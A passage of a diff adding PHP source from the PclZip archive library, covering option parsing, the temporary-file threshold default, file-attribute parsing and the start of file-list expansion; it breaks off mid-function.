+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          
+          // ----- Check the value
+          $v_value = $p_options_list[$i+1];
+          if ((!is_integer($v_value)) || ($v_value<0)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value (and convert it in bytes)
+          $v_result_list[$p_options_list[$i]] = $v_value*1048576;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_ON :
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          
+          $v_result_list[$p_options_list[$i]] = true;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+        break;
+
+        case PCLZIP_OPT_TEMP_FILE_OFF :
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          // ----- Check for incompatible options
+          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          
+          $v_result_list[$p_options_list[$i]] = true;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+        break;
+
+        case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (   is_string($p_options_list[$i+1])
+              && ($p_options_list[$i+1] != '')) {
+            $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+            $i++;
+          }
+          else {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." set with an empty value is ignored.");
+          }
+        break;
+
+        // ----- Look for options that request an array of string for value
+        case PCLZIP_OPT_BY_NAME :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
+          }
+          else if (is_array($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          ////--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        // ----- Look for options that request an EREG or PREG expression
+        case PCLZIP_OPT_BY_EREG :
+        case PCLZIP_OPT_BY_PREG :
+        //case PCLZIP_OPT_CRYPT :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        // ----- Look for options that takes a string
+        case PCLZIP_OPT_COMMENT :
+        case PCLZIP_OPT_ADD_COMMENT :
+        case PCLZIP_OPT_PREPEND_COMMENT :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
+			                     "Missing parameter value for option '"
+								 .PclZipUtilOptionText($p_options_list[$i])
+								 ."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          if (is_string($p_options_list[$i+1])) {
+              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
+			                     "Wrong parameter value for option '"
+								 .PclZipUtilOptionText($p_options_list[$i])
+								 ."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        // ----- Look for options that request an array of index
+        case PCLZIP_OPT_BY_INDEX :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_work_list = array();
+          if (is_string($p_options_list[$i+1])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Index value is a string '".$p_options_list[$i+1]."'");
+
+              // ----- Remove spaces
+              $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');
+
+              // ----- Parse items
+              $v_work_list = explode(",", $p_options_list[$i+1]);
+          }
+          else if (is_integer($p_options_list[$i+1])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Index value is an integer '".$p_options_list[$i+1]."'");
+              $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
+          }
+          else if (is_array($p_options_list[$i+1])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Index value is an array");
+              $v_work_list = $p_options_list[$i+1];
+          }
+          else {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+          
+          // ----- Reduce the index list
+          // each index item in the list must be a couple with a start and
+          // an end value : [0,3], [5-5], [8-10], ...
+          // ----- Check the format of each item
+          $v_sort_flag=false;
+          $v_sort_value=0;
+          for ($j=0; $j<sizeof($v_work_list); $j++) {
+              // ----- Explode the item
+              $v_item_list = explode("-", $v_work_list[$j]);
+              $v_size_item_list = sizeof($v_item_list);
+              
+              // ----- TBC : Here we might check that each item is a
+              // real integer ...
+              
+              // ----- Look for single value
+              if ($v_size_item_list == 1) {
+                  // ----- Set the option value
+                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
+                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
+              }
+              elseif ($v_size_item_list == 2) {
+                  // ----- Set the option value
+                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
+                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
+              }
+              else {
+                  // ----- Error log
+                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+                  // ----- Return
+                  //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+                  return PclZip::errorCode();
+              }
+
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extracted index item = [".$v_result_list[$p_options_list[$i]][$j]['start'].",".$v_result_list[$p_options_list[$i]][$j]['end']."]");
+
+              // ----- Look for list sort
+              if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The list should be sorted ...");
+                  $v_sort_flag=true;
+
+                  // ----- TBC : An automatic sort should be writen ...
+                  // ----- Error log
+                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+                  // ----- Return
+                  //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+                  return PclZip::errorCode();
+              }
+              $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
+          }
+          
+          // ----- Sort the items
+          if ($v_sort_flag) {
+              // TBC : To Be Completed
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "List sorting is not yet write ...");
+          }
+
+          // ----- Next option
+          $i++;
+        break;
+
+        // ----- Look for options that request no value
+        case PCLZIP_OPT_REMOVE_ALL_PATH :
+        case PCLZIP_OPT_EXTRACT_AS_STRING :
+        case PCLZIP_OPT_NO_COMPRESSION :
+        case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
+        case PCLZIP_OPT_REPLACE_NEWER :
+        case PCLZIP_OPT_STOP_ON_ERROR :
+          $v_result_list[$p_options_list[$i]] = true;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+        break;
+
+        // ----- Look for options that request an octal value
+        case PCLZIP_OPT_SET_CHMOD :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($p_options_list[$i])." = '".$v_result_list[$p_options_list[$i]]."'");
+          $i++;
+        break;
+
+        // ----- Look for options that request a call-back
+        case PCLZIP_CB_PRE_EXTRACT :
+        case PCLZIP_CB_POST_EXTRACT :
+        case PCLZIP_CB_PRE_ADD :
+        case PCLZIP_CB_POST_ADD :
+        /* for futur use
+        case PCLZIP_CB_PRE_DELETE :
+        case PCLZIP_CB_POST_DELETE :
+        case PCLZIP_CB_PRE_LIST :
+        case PCLZIP_CB_POST_LIST :
+        */
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_function_name = $p_options_list[$i+1];
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "call-back ".PclZipUtilOptionText($p_options_list[$i])." = '".$v_function_name."'");
+
+          // ----- Check that the value is a valid existing function
+          if (!function_exists($v_function_name)) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Set the attribute
+          $v_result_list[$p_options_list[$i]] = $v_function_name;
+          $i++;
+        break;
+
+        default :
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                       "Unknown parameter '"
+							   .$p_options_list[$i]."'");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return PclZip::errorCode();
+      }
+
+      // ----- Next options
+      $i++;
+    }
+
+    // ----- Look for mandatory options
+    if ($v_requested_options !== false) {
+      for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
+        // ----- Look for mandatory option
+        if ($v_requested_options[$key] == 'mandatory') {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Detect a mandatory option : ".PclZipUtilOptionText($key)."(".$key.")");
+          // ----- Look if present
+          if (!isset($v_result_list[$key])) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+        }
+      }
+    }
+    
+    // ----- Look for default values
+    if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3,"Calculate auto threshold");
+      
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privOptionDefaultThreshold()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privOptionDefaultThreshold(&$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privOptionDefaultThreshold", "");
+    $v_result=1;
+    
+    if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+        || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+    
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3,"Create an auto-threshold for use of temporay files");
+    // ----- Get 'memory_limit' configuration value
+    $v_memory_limit = ini_get('memory_limit');
+    $v_memory_limit = trim($v_memory_limit);
+    $last = strtolower(substr($v_memory_limit, -1));
+ 
+    if($last == 'g')
+        //$v_memory_limit = $v_memory_limit*1024*1024*1024;
+        $v_memory_limit = $v_memory_limit*1073741824;
+    if($last == 'm')
+        //$v_memory_limit = $v_memory_limit*1024*1024;
+        $v_memory_limit = $v_memory_limit*1048576;
+    if($last == 'k')
+        $v_memory_limit = $v_memory_limit*1024;
+            
+    $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO);
+    
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3,"Current memory usage : ".memory_get_usage(TRUE)." bytes");
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3,"Threshold value is : ".$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]." bytes");
+
+    // ----- Sanity check : No threshold if value lower than 1M
+    if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3,"Unset the threshold (value ".$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD].") because under 1Mo sanity check)");
+      unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
+    }
+          
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privFileDescrParseAtt()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privFileDescrParseAtt", "");
+    $v_result=1;
+    
+    // ----- For each file in the list check the attributes
+    foreach ($p_file_list as $v_key => $v_value) {
+    
+      // ----- Check if the option is supported
+      if (!isset($v_requested_options[$v_key])) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+
+      // ----- Look for attribute
+      switch ($v_key) {
+        case PCLZIP_ATT_FILE_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+          
+          if ($p_filedescr['filename'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+        break;
+
+        case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+
+          if ($p_filedescr['new_short_name'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+        break;
+
+        case PCLZIP_ATT_FILE_NEW_FULL_NAME :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+
+          if ($p_filedescr['new_full_name'] == '') {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+        break;
+
+        // ----- Look for options that takes a string
+        case PCLZIP_ATT_FILE_COMMENT :
+          if (!is_string($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['comment'] = $v_value;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+        break;
+
+        case PCLZIP_ATT_FILE_MTIME :
+          if (!is_integer($v_value)) {
+            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          $p_filedescr['mtime'] = $v_value;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+        break;
+
+        case PCLZIP_ATT_FILE_CONTENT :
+          $p_filedescr['content'] = $v_value;
+          ////--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "".PclZipUtilOptionText($v_key)." = '".$v_value."'");
+        break;
+
+        default :
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                           "Unknown parameter '".$v_key."'");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return PclZip::errorCode();
+      }
+
+      // ----- Look for mandatory options
+      if ($v_requested_options !== false) {
+        for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
+          // ----- Look for mandatory option
+          if ($v_requested_options[$key] == 'mandatory') {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Detect a mandatory option : ".PclZipUtilOptionText($key)."(".$key.")");
+            // ----- Look if present
+            if (!isset($p_file_list[$key])) {
+              PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
+              //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+              return PclZip::errorCode();
+            }
+          }
+        }
+      }
+    
+    // end foreach
+    }
+    
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privFileDescrExpand()
+  // Description :
+  //   This method look for each item of the list to see if its a file, a folder
+  //   or a string to be added as file. For any other type of files (link, other)
+  //   just ignore the item.
+  //   Then prepare the information that will be stored for that file.
+  //   When its a folder, expand the folder with all the files that are in that 
+  //   folder (recursively).
+  // Parameters :
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privFileDescrExpand(&$p_filedescr_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privFileDescrExpand", "");
+    $v_result=1;
+    
+    // ----- Create a result list
+    $v_result_list = array();
+    
+    // ----- Look each entry
+    for ($i=0; $i<sizeof($p_filedescr_list); $i++) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Looking for file ".$i.".");
+      
+      // ----- Get filedescr
+      $v_descr = $p_filedescr_list[$i];
+      
+      // ----- Reduce the filename
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filedescr before reduction :'".$v_descr['filename']."'");
+      $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
+      $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filedescr after reduction :'".$v_descr['filename']."'");
+      
+      // ----- Look for real file or folder
+      if (file_exists($v_descr['filename'])) {
+        if (@is_file($v_descr['filename'])) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "This is a file");
+          $v_descr['type'] = 'file';
+        }
+        else if (@is_dir($v_descr['filename'])) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "This is a folder");
+          $v_descr['type'] = 'folder';
+        }
+        else if (@is_link($v_descr['filename'])) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Unsupported file type : link");
+          // skip
+          continue;
+        }
+        else {
